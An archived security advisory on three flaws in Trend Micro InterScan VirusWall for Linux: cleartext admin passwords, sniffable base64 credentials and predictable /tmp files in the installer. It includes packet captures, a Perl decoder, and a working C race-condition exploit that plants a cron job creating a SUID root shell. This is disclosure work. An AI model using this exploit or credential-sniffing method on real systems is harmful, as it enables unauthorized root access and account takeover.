Vulnerability
VirusWall
Affected
Trend Micro's VirusWall
Description
Joey Maier found following. This has been tested on RedHat Linux
6.2 with version 3.0.1 & 3.6.x of VirusWall. This advisory covers
three separate issues.
1) insecure password change mechanism - Password change
information is sent from the administrator's browser to the
setpasswd.cgi program in clear text.
2) weak authentication method allows password recovery - each GET
request contains the base64 encoded username:password pair of
the administrator. This can easily be converted to plain text.
3) predictable files names for root-owned temporary files -
Installation or removal of this InterScan VirusWall can allow
local users to become root.
Issues 1 & 2 could allow unauthorized individuals to learn the
password for the 'admin' account on this box. Using this
password, they could disable virus scanning, change the types of
files that are scanned, or alter the response the machine makes
to files containing viruses. Issue 3 could provide an attacker
with a priviledged account they might use to attack other machines
within a network.
Trend Micro They've assigned these three vunerabilities to CASE
ID# TDSC-237EA95D.
Trend Micro's InterScanVirusWall (a.k.a. 'ISVW') is a product that
is designed to provide "Real-time virus detection and clean-up
for all SMTP, HTTP, and FTP Internet traffic at the gateway" (see
http://www.antivirus.com/products/isvw/ for details on this
product). Trend Micro has versions of ISVW for NT, Solaris, HP-UX
and Linux. This advisory only covers the Linux version. It is
unknown if the NT, Solaris and HP-UX versions of this product
display the same behavior.
Installation of the ISVW package on a RedHat linux 6.2 box places
a web server on port 1812. This web server runs a variety of
CGIs that provide web-based administration functionality. One of
these is setpasswd.cgi, which is used to change the
administrative password for ISVW. As the following snort log
shows, the old and new passwords are sent in clear text to
setpasswd.cgi via a GET request.
12/22-10:59:23.150987 172.16.105.36:1247 -> 172.16.104.122:1812
TCP TTL:128 TOS:0x0 ID:21767 DF
*****PA* Seq: 0x3D5513F Ack: 0xE257706 Win: 0x2238
47 45 54 20 2F 73 65 74 70 61 73 73 77 64 2E 63 GET /setpasswd.c
67 69 3F 4F 50 41 53 53 3D 6F 6C 64 70 61 73 73 gi?OPASS=oldpass
77 6F 72 64 2B 26 50 41 53 53 32 3D 6E 65 77 70 word+&PASS2=newp
61 73 73 77 6F 72 64 26 50 41 53 53 33 3D 6E 65 assword&PASS3=ne
77 70 61 73 73 77 6F 72 64 20 48 54 54 50 2F 31 wpassword HTTP/1
2E 30 0D 0A 52 65 66 65 72 65 72 3A 20 68 74 74 .0..Referer: htt
70 3A 2F 2F 31 37 32 2E 31 36 2E 31 30 34 2E 31 p://172.16.104.1
32 32 3A 31 38 31 32 2F 70 61 73 73 77 64 2E 63 22:1812/passwd.c
67 69 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 gi..Connection:
4B 65 65 70 2D 41 6C 69 76 65 0D 0A 55 73 65 72 Keep-Alive..User
2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F -Agent: Mozilla/
34 2E 36 31 20 5B 65 6E 5D 20 28 57 69 6E 4E 54 4.61 [en] (WinNT
3B 20 55 29 0D 0A 48 6F 73 74 3A 20 31 37 32 2E ; U)..Host: 172.
31 36 2E 31 30 34 2E 31 32 32 3A 31 38 31 32 0D 16.104.122:1812.
0A 41 63 63 65 70 74 3A 20 69 6D 61 67 65 2F 67 .Accept: image/g
69 66 2C 20 69 6D 61 67 65 2F 78 2D 78 62 69 74 if, image/x-xbit
6D 61 70 2C 20 69 6D 61 67 65 2F 6A 70 65 67 2C map, image/jpeg,
20 69 6D 61 67 65 2F 70 6A 70 65 67 2C 20 69 6D image/pjpeg, im
61 67 65 2F 70 6E 67 2C 20 2A 2F 2A 0D 0A 41 63 age/png, */*..Ac
63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 cept-Encoding: g
7A 69 70 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 zip..Accept-Lang
75 61 67 65 3A 20 65 6E 0D 0A 41 63 63 65 70 74 uage: en..Accept
2D 43 68 61 72 73 65 74 3A 20 69 73 6F 2D 38 38 -Charset: iso-88
35 39 2D 31 2C 2A 2C 75 74 66 2D 38 0D 0A 41 75 59-1,*,utf-8..Au
74 68 6F 72 69 7A 61 74 69 6F 6E 3A 20 42 61 73 thorization: Bas
69 63 20 59 57 52 74 61 57 34 36 62 32 78 6B 63 ic YWRtaW46b2xkc
47 46 7A 63 33 64 76 63 6D 51 3D 0D 0A 0D 0A GFzc3dvcmQ=....
Methodology:
1. Install InterScan VirusWall on a RedHat 6.2 box
2. Start snort on a second box (e.g. 'snort -vda host
172.16.104.122 > output')
3. Launch a browser and connect to the box running ISVW (e.g.
'172.16.104.122:1812/interscan)
4. Choose "Scan Configuration" and then "Change Password"
5. Log in when it prompts you for a password.
6. Enter your old password once, and your new password twice
into form created by passwd.cgi. Click the 'Apply' button.
7. Read the output snort has produced.
ISVW's web-based administration uses CGIs that are passed
information via GET requests. Authorization to use specific CGIs
is determined via the typical low-security methodology of web
browsers. This means that Each GET request to the server
contains the base-64 encoded username and password. The base-64
encoded 'username:password' pair in the example snort log shown
below is "YWRtaW46YWRtaW4"
12/26-10:53:20.237031 172.16.105.36:1268 -> 172.16.104.122:1812
TCP TTL:128 TOS:0x0 ID:525 DF
*****PA* Seq: 0x13729706 Ack: 0xE97B48CD Win: 0x2238
47 45 54 20 2F 73 63 61 6E 63 66 67 2E 63 67 69 GET /scancfg.cgi
20 48 54 54 50 2F 31 2E 30 0D 0A 52 65 66 65 72 HTTP/1.0..Refer
65 72 3A 20 68 74 74 70 3A 2F 2F 31 37 32 2E 31 er: http://172.1
36 2E 31 30 34 2E 31 32 32 3A 31 38 31 32 2F 63 6.104.122:1812/c
6F 6E 66 69 67 73 72 76 0D 0A 43 6F 6E 6E 65 63 onfigsrv..Connec
74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 tion: Keep-Alive
0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F ..User-Agent: Mo
7A 69 6C 6C 61 2F 34 2E 36 31 20 5B 65 6E 5D 20 zilla/4.61 [en]
28 57 69 6E 4E 54 3B 20 55 29 0D 0A 48 6F 73 74 (WinNT; U)..Host
3A 20 31 37 32 2E 31 36 2E 31 30 34 2E 31 32 32 : 172.16.104.122
3A 31 38 31 32 0D 0A 41 63 63 65 70 74 3A 20 69 :1812..Accept: i
6D 61 67 65 2F 67 69 66 2C 20 69 6D 61 67 65 2F mage/gif, image/
78 2D 78 62 69 74 6D 61 70 2C 20 69 6D 61 67 65 x-xbitmap, image
2F 6A 70 65 67 2C 20 69 6D 61 67 65 2F 70 6A 70 /jpeg, image/pjp
65 67 2C 20 69 6D 61 67 65 2F 70 6E 67 2C 20 2A eg, image/png, *
2F 2A 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 /*..Accept-Encod
69 6E 67 3A 20 67 7A 69 70 0D 0A 41 63 63 65 70 ing: gzip..Accep
74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 0D 0A t-Language: en..
41 63 63 65 70 74 2D 43 68 61 72 73 65 74 3A 20 Accept-Charset:
69 73 6F 2D 38 38 35 39 2D 31 2C 2A 2C 75 74 66 iso-8859-1,*,utf
2D 38 0D 0A 41 75 74 68 6F 72 69 7A 61 74 69 6F -8..Authorizatio
6E 3A 20 42 61 73 69 63 20 59 57 52 74 61 57 34 n: Basic YWRtaW4
36 59 57 52 74 61 57 34 3D 0D 0A 0D 0A 6YWRtaW4=....
It is trivial to sniff GET requests destined for the ISVW server
and use a base64 decoder to learn the password of the ISVW
administrator. The following script is sufficient for decoding
captured authentication tokens.
#!/usr/bin/perl
use MIME::Base64 ();
$input=$ARGV[0];
$output = MIME::Base64::decode($input);
print "$input=$output\n";
To confirm this vunerability, perform the following steps:
1. Name the above perl script 'decode'.
2. Use snort to capture GET requests going from the
administrator's browser to the ISVW server. ('snort -vda
host isvw.company.com > log')
3. Enter the authenication token from a captured packet into
the 'decode' script. ('./decode YWRtaW46YWRtaW4')
4. Read the resulting output ('admin:admin')
The installation of ISVW is controlled by a shell script named
'isinst'. This shell script makes liberal use of the /tmp
directory without any effort to randomize the file names, thus
allowing attackers to easily predict the /tmp files that will be
created during the install. 'isinst' uses a 222 umask to prevent
attackers from modifying the files that are created in /tmp, but
it doesn't take necessary additional precautions such as check the
ownership and permissions of the files. An example of this
behavior from the 3.0.1 isinst:
# add 2 new cron jobs
crontab -l > /tmp/istmp_cron
echo "0 * * * * /etc/iscan/prescan.cgi >/dev/null 2>&1" >> /tmp/istmp_cron
echo "30 2 * * * /etc/iscan/cleanscan >/dev/null 2>&1" >> /tmp/istmp_cron
crontab /tmp/istmp_cron 2>/dev/null
rm /tmp/istmp_cron
The install script for 3.6.x uses /tmp/crontab.$$ for this, which
is only slightly better. If an attacker can create /tmp/istmp_cron
(or /tmp/crontab.$$) *before* 'isinst' can, they will retain write
access to the files throughout the installation, allowing them to
append their own cron jobs to the file before crontab is called.
Obviously, having the ability to control the contents of root's
crontab gives an attacker the ability to become root.
To confirm this vunerability, perform the following steps:
1. Predict the filename of the temporary file to be used and
create it before 'isinst' does.
2. Watch to see when 'isinst' has written to the temporary
file
3. Append a cron entry to the file that will create an SUID
shell
4. Wait for 'isinst' to run crontab on istmp_cron
5. Wait for cron to run your shell script
6. Start the resulting rootshell to become root.
See the below for a source code example using the /tmp/istmp_cron
file created by ISVW 3.0.1.
#include <sys/stat.h>
#include <fcntl.h>
#define TMPFILE "/tmp/istmp_cron"
#define CRONTAB_ENTRY "* * * * * cp /bin/sh /tmp/rootshell; chmod 4755 /tmp/rootshell
"
int main(int argc, char *argv[])
{
int file;
off_t file_size;
struct stat file_stat;
int rc;
/*###########################################################
## creating istmp_cron with permissions that allow changes ##
###########################################################*/
file=open(TMPFILE, O_RDWR|O_CREAT|O_APPEND, 0777);
if (file < 0) {
perror(TMPFILE);
return 1;
}
/*##################################################################
## wait for isinst to write to tmp file, then append our cronjob ##
##################################################################*/
rc =fstat(file, &file_stat);
file_size=file_stat.st_size;
while(1){
rc =fstat(file, &file_stat);
if(file_stat.st_size != file_size){
/*######################
## append our cronjob ##
######################*/
rc = write(file, CRONTAB_ENTRY, sizeof(CRONTAB_ENTRY)
-1 );
close(file);
return 0;
}
}
}
Solution
Trend Micro representative informed Joey that no patches will be
released, but the new version of ISVW (estimated release late Feb.
or early Mar.) will contain fixes for these vunerabilities.
Workaround is only to install ISVW on a stand-alone box. Don't
use the browser-based configuration tools remotely unless you are
confident that your network is not being sniffed.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
